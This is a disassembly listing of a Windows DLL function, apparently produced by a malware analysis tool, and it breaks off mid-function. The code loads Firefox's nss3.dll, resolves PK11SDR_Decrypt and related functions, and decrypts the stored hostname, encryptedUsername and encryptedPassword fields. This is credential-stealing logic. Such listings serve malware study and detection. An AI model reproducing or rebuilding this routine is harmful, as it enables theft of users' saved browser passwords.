Function at 0x180091bb0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
xor r12d, r12d
mov qword [rsp + 0x48], 0xf
mov r15, rcx
mov qword [rsp + 0x40], r12
mov edi, r12d
lea rcx, [rbp + 0x450]
mov byte [rsp + 0x30], dil
mov rsi, r8
mov r13, rdx
call fcn.1800a79d0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180091c12
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov r14, rax
cmp rdx, 0x10
jb 0x180091c62
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091c5d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093722
mov rcx, r8
call fcn.1800afef0
movaps xmmword [rsp + 0x5a0], xmm6
movaps xmmword [rsp + 0x590], xmm7
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
test r14, r14
jne 0x180091d3c
xor r8d, r8d
mov qword [r15 + 0x10], r12
lea rdx, [0x1800e7940]
mov qword [r15 + 0x18], 0xf
mov rcx, r15
mov byte [r15], dil
call fcn.1800a7f50
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x180091ce6
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x180091ce1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009371c
mov rcx, r8
call fcn.1800afef0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 0xf
mov byte [r13], dil
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180091d30
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x180091d2b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009371c
mov rcx, r8
call fcn.1800afef0
mov qword [rsi + 0x10], r12
mov byte [rsi], dil
jmp 0x1800936e0
lea rdx, str.NSS_Init
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, r14
mov qword [0x180106340], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, r14
mov qword [0x180106370], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, r14
mov qword [0x180106358], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, r14
mov qword [0x180106338], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, r14
mov qword [0x180106310], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, r14
mov qword [0x180106350], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x88]
mov qword [0x180106328], rax
call fcn.1800914c0
cmp qword [rbp + 0xa0], 0x10
lea rcx, [rbp + 0x88]
cmovae rcx, qword [rbp + 0x88]
call qword [0x180106340]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x470]
call fcn.1800a79d0
mov rcx, rax
call fcn.180091270
mov qword [rsp + 0x60], r12
mov r12, 0xffffffffffffffff
mov r8, r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
nop
inc r8
cmp byte [rax + r8], dil
jne 0x180091e40
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800a7f50
cmp qword [rsp + 0x60], rdi
jbe 0x18009359c
mov cl, 1
mov qword [rbp + 0x60], rdi
call fcn.1800b11e8
xor edx, edx
mov qword [rbp + 0x80], rax
lea rcx, [rbp - 0x20]
call fcn.1800b0c44
mov r14, qword [0x180106d80]
mov r15, qword [0x180106968]
mov qword [rbp - 8], r15
test r14, r14
jne 0x180091ed6
xor edx, edx
lea rcx, [rbp + 0x508]
call fcn.1800b0c44
cmp qword [0x180106d80], rdi
jne 0x180091ec3
mov eax, dword [0x180104cf0]
inc eax
mov dword [0x180104cf0], eax
cdqe
mov qword [0x180106d80], rax
lea rcx, [rbp + 0x508]
call fcn.1800b0cbc
mov r14, qword [0x180106d80]
mov rcx, qword [rbp + 0x80]
cmp r14, qword [rcx + 0x18]
jae 0x180091ef2
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180091f4e
jmp 0x180091ef4
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x180091f0d
call fcn.1800b11e0
cmp r14, qword [rax + 0x18]
jae 0x180091f12
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180091f4e
test r15, r15
je 0x180091f1c
mov rbx, r15
jmp 0x180091f4e
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 8]
call fcn.1800a9000
cmp rax, r12
je 0x180093728
mov rbx, qword [rbp - 8]
mov rcx, rbx
call fcn.1800b11a8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180106968], rbx
lea rcx, [rbp - 0x20]
call fcn.1800b0cbc
lea rcx, [rbp + 0x78]
mov qword [rbp + 0x68], rbx
call fcn.1800a8120
lea r8, [0x1800f2334]
mov qword [rbp + 0x70], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0x60]
call fcn.1800a86f0
mov cl, 1
mov qword [rbp + 0x38], rdi
call fcn.1800b11e8
xor edx, edx
mov qword [rbp + 0x58], rax
lea rcx, [rbp - 0x2c]
call fcn.1800b0c44
mov r14, qword [0x180106d80]
mov r15, qword [0x180106968]
mov qword [rbp + 8], r15
test r14, r14
jne 0x180091feb
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800b0c44
cmp qword [0x180106d80], rdi
jne 0x180091fdb
mov eax, dword [0x180104cf0]
inc eax
mov dword [0x180104cf0], eax
cdqe
mov qword [0x180106d80], rax
lea rcx, [rbp - 0x30]
call fcn.1800b0cbc
mov r14, qword [0x180106d80]
mov rcx, qword [rbp + 0x58]
cmp r14, qword [rcx + 0x18]
jae 0x180092004
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180092060
jmp 0x180092006
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009201f
call fcn.1800b11e0
cmp r14, qword [rax + 0x18]
jae 0x180092024
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180092060
test r15, r15
je 0x18009202e
mov rbx, r15
jmp 0x180092060
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 8]
call fcn.1800a9000
cmp rax, r12
je 0x18009372e
mov rbx, qword [rbp + 8]
mov rcx, rbx
call fcn.1800b11a8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180106968], rbx
lea rcx, [rbp - 0x2c]
call fcn.1800b0cbc
lea rcx, [rbp + 0x50]
mov qword [rbp + 0x40], rbx
call fcn.1800a8120
lea r8, [0x1800f2355]
mov qword [rbp + 0x48], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x38]
call fcn.1800a86f0
mov cl, 1
mov qword [rbp + 0x10], rdi
call fcn.1800b11e8
xor edx, edx
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x24]
call fcn.1800b0c44
mov r14, qword [0x180106d80]
mov r15, qword [0x180106968]
mov qword [rbp], r15
test r14, r14
jne 0x1800920fd
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800b0c44
cmp qword [0x180106d80], rdi
jne 0x1800920ed
mov eax, dword [0x180104cf0]
inc eax
mov dword [0x180104cf0], eax
cdqe
mov qword [0x180106d80], rax
lea rcx, [rbp - 0x28]
call fcn.1800b0cbc
mov r14, qword [0x180106d80]
mov rcx, qword [rbp + 0x30]
cmp r14, qword [rcx + 0x18]
jae 0x180092116
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180092172
jmp 0x180092118
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x180092131
call fcn.1800b11e0
cmp r14, qword [rax + 0x18]
jae 0x180092136
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + r14*8]
test rbx, rbx
jne 0x180092172
test r15, r15
je 0x180092140
mov rbx, r15
jmp 0x180092172
lea rdx, [rbp + 0x28]
lea rcx, [rbp]
call fcn.1800a9000
cmp rax, r12
je 0x180093734
mov rbx, qword [rbp]
mov rcx, rbx
call fcn.1800b11a8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180106968], rbx
lea rcx, [rbp - 0x24]
call fcn.1800b0cbc
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x18], rbx
call fcn.1800a8120
lea r8, [0x1800f2375]
mov qword [rbp + 0x20], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x10]
call fcn.1800a86f0
mov rdx, qword [rsp + 0x68]
lea rbx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
xor r15d, r15d
xorps xmm0, xmm0
mov qword [rbp + 0xb0], r15
cmp rdx, 0x10
mov byte [rbp + 0xb8], dil
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm0
cmovae rbx, rax
movdqa xmmword [rbp + 0xd0], xmm1
mov qword [rbp + 0xe0], r15
movabs r14, 0x2aaaaaaaaaaaaaab
mov byte [rbp + 0xe8], dil
movdqa xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0x100], dil
mov qword [rbp + 0x108], r15
mov qword [rbp + 0x110], r15
mov byte [rbp + 0x118], dil
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
nop
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x50]
cmovae rcx, rax
lea r9, [rbp + 0x60]
add rdx, rcx
lea r8, [rbp + 0xb0]
mov rcx, rbx
call fcn.1800a97d0
test al, al
je 0x180093347
mov rcx, qword [rbp + 0xc8]
mov rax, r14
mov r8, qword [rbp + 0xc0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x108]
cmp rdx, 1
jbe 0x1800922bb
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800922cd
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
jmp 0x1800922d8
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x320], xmm0
mov rdx, qword [rbp + 0x320]
mov eax, 0xf
mov r8, qword [rbp + 0x328]
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x198], rax
mov byte [rbp + 0x180], r15b
cmp rdx, r8
je 0x18009231b
sub r8, rdx
lea rcx, [rbp + 0x180]
call fcn.1800a7f50
mov rax, qword [rbp + 0x198]
cmp rax, 0x10
lea rcx, [rbp + 0x180]
cmovae rcx, qword [rbp + 0x180]
call fcn.180091a90
mov r8, r12
inc r8
cmp byte [rax + r8], r15b
jne 0x180092336
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800a7f50
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x18009238d
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092388
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009373a
call fcn.1800afef0
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x38]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rsp + 0x50]
lea r8, [rbp + 0xb0]
add rdx, qword [rsp + 0x60]
mov rcx, rbx
call fcn.1800a97d0
mov rcx, qword [rbp + 0xc8]
mov rax, r14
mov r8, qword [rbp + 0xc0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x108]
cmp rdx, 1
jbe 0x1800923f1
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180092403
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
jmp 0x18009240e
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x350], xmm0
mov rdx, qword [rbp + 0x350]
mov r8, qword [rbp + 0x358]
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], r15b
cmp rdx, r8
je 0x180092449
sub r8, rdx
lea rcx, [rbp + 0x390]
call fcn.1800a7f50
lea rcx, [rbp + 0x390]
call fcn.180091900
mov rcx, rax
call fcn.180091a90
mov r8, r12
inc r8
cmp byte [rax + r8], r15b
jne 0x180092460
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800a7f50
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x10]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rsp + 0x50]
lea r8, [rbp + 0xb0]
add rdx, qword [rsp + 0x60]
mov rcx, rbx
call fcn.1800a97d0
mov rcx, qword [rbp + 0xc8]
mov rax, r14
mov r8, qword [rbp + 0xc0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x108]
cmp rdx, 1
jbe 0x1800924d9
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800924eb
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
jmp 0x1800924f6
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
mov rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x368]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x180092531
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800a7f50
lea rcx, [rbp + 0x3b0]
call fcn.180091900
mov rcx, rax
call fcn.180091a90
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180092550
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800a7f50
mov r8d, 9
mov qword [rbp + 0x380], r15
cmp qword [rbp - 0x80], r8
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x370]
mov qword [rbp + 0x388], 0xf
cmovb r8, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
mov byte [rbp + 0x370], r15b
cmovae rdx, qword [rsp + 0x70]
call fcn.1800a7f50
mov rdx, qword [rbp + 0x388]
lea rax, [rbp + 0x370]
mov rcx, qword [rbp + 0x370]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x380], 9
jne 0x1800925ea
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x1800925ea
cmp byte [rax + 8], 0x2f
jne 0x1800925ea
xor r14b, r14b
jmp 0x1800925ed
mov r14b, 1
cmp rdx, 0x10
jb 0x180092620
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009261b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093716
call fcn.1800afef0
test r14b, r14b
je 0x1800932c4
mov rax, qword [rsi + 0x18]
mov rcx, rsi
cmp rax, 0x10
jb 0x180092639
mov rcx, qword [rsi]
cmp qword [rsi + 0x10], 1
jne 0x180092ca3
cmp byte [rcx], 0x30
jne 0x180092ca3
cmp qword [rbp - 0x80], r15
jne 0x180092657
mov al, 1
jmp 0x180092659
xor al, al
test al, al
jne 0x18009282b
lea rdx, [rdi + 1]
mov qword [rbp + 0x1b0], r15
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], r15b
call fcn.1800a9410
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x1a0]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp + 0x1a0]
call fcn.1800a7730
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x1a0]
cmovae rdx, qword [rsp + 0x70]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rbp + 0x1c0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x180092781
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009277c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093740
call fcn.1800afef0
mov rdx, qword [rbp + 0x1d8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x1800927cc
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800927c7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093740
call fcn.1800afef0
mov rdx, qword [rbp + 0x1b8]
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], r15b
cmp rdx, 0x10
jb 0x180092826
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092821
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093740
call fcn.1800afef0
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x40], r15
jne 0x180092835
mov al, 1
jmp 0x180092837
xor al, al
test al, al
jne 0x180092a07
lea rdx, [rdi + 1]
mov qword [rbp + 0x130], r15
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], r15b
call fcn.1800a9410
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x120]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp + 0x120]
call fcn.1800a7730
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x120]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rbp + 0x1e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x18009295d
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092958
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093746
call fcn.1800afef0
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x1800929a8
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800929a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093746
call fcn.1800afef0
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], r15b
cmp rdx, 0x10
jb 0x180092a02
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800929fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093746
call fcn.1800afef0
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x60], r15
jne 0x180092a11
mov al, 1
jmp 0x180092a13
xor al, al
test al, al
jne 0x180092be3
lea rdx, [rdi + 1]
mov qword [rbp + 0x150], r15
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], r15b
call fcn.1800a9410
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp + 0x140]
call fcn.1800a7730
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rbp + 0x200]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3d0], xmm6
movups xmmword [rbp + 0x3e0], xmm7
cmp rdx, 0x10
jb 0x180092b39
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092b34
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009374c
call fcn.1800afef0
mov rdx, qword [rbp + 0x218]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180092b84
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092b7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009374c
call fcn.1800afef0
mov rdx, qword [rbp + 0x158]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], r15b
cmp rdx, 0x10
jb 0x180092bde
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092bd9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009374c
call fcn.1800afef0
mov rdi, qword [rsp + 0x40]
lea rdx, [rdi + 1]
mov qword [rbp + 0x230], r15
lea rcx, [rbp + 0x220]
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], r15b
call fcn.1800a9410
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x220]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800e895c]
lea rcx, [rbp + 0x220]
call fcn.1800a7730
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180092c82
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092c7d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093752
call fcn.1800afef0
movups xmm1, xmmword [rbp + 0x230]
mov rax, qword [rsi + 0x18]
movups xmm0, xmmword [rbp + 0x220]
movups xmmword [rsp + 0x40], xmm1
mov rdi, qword [rsp + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rcx, rsi
cmp rax, 0x10
jb 0x180092caf
mov rcx, qword [rsi]
cmp qword [rsi + 0x10], 1
jne 0x180092cbf
cmp byte [rcx], 0x31
jne 0x180092cbf
mov al, 1
jmp 0x180092cc1
xor al, al
test al, al
je 0x1800932be
lea rdx, [rdi + 3]
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], r15b
call fcn.1800a9410
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800a7730
mov r8d, 3
lea rdx, [0x1800f1e40]
lea rcx, [rbp + 0x160]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0x160]
call fcn.1800a7730
mov r8d, 7
lea rdx, str.Firefox
lea rcx, [rbp + 0x330]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x340], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0x300]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x2e0]
cmovae rdx, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0x2c0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x2a0]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
mov r8d, 1
lea rdx, [0x1800f1e3c]
lea rcx, [rbp + 0x280]
movups xmmword [rbp + 0x290], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x260]
cmovae rdx, qword [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800a7730
mov r8d, 3
lea rdx, [0x1800f1e38]
lea rcx, [rbp + 0x240]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
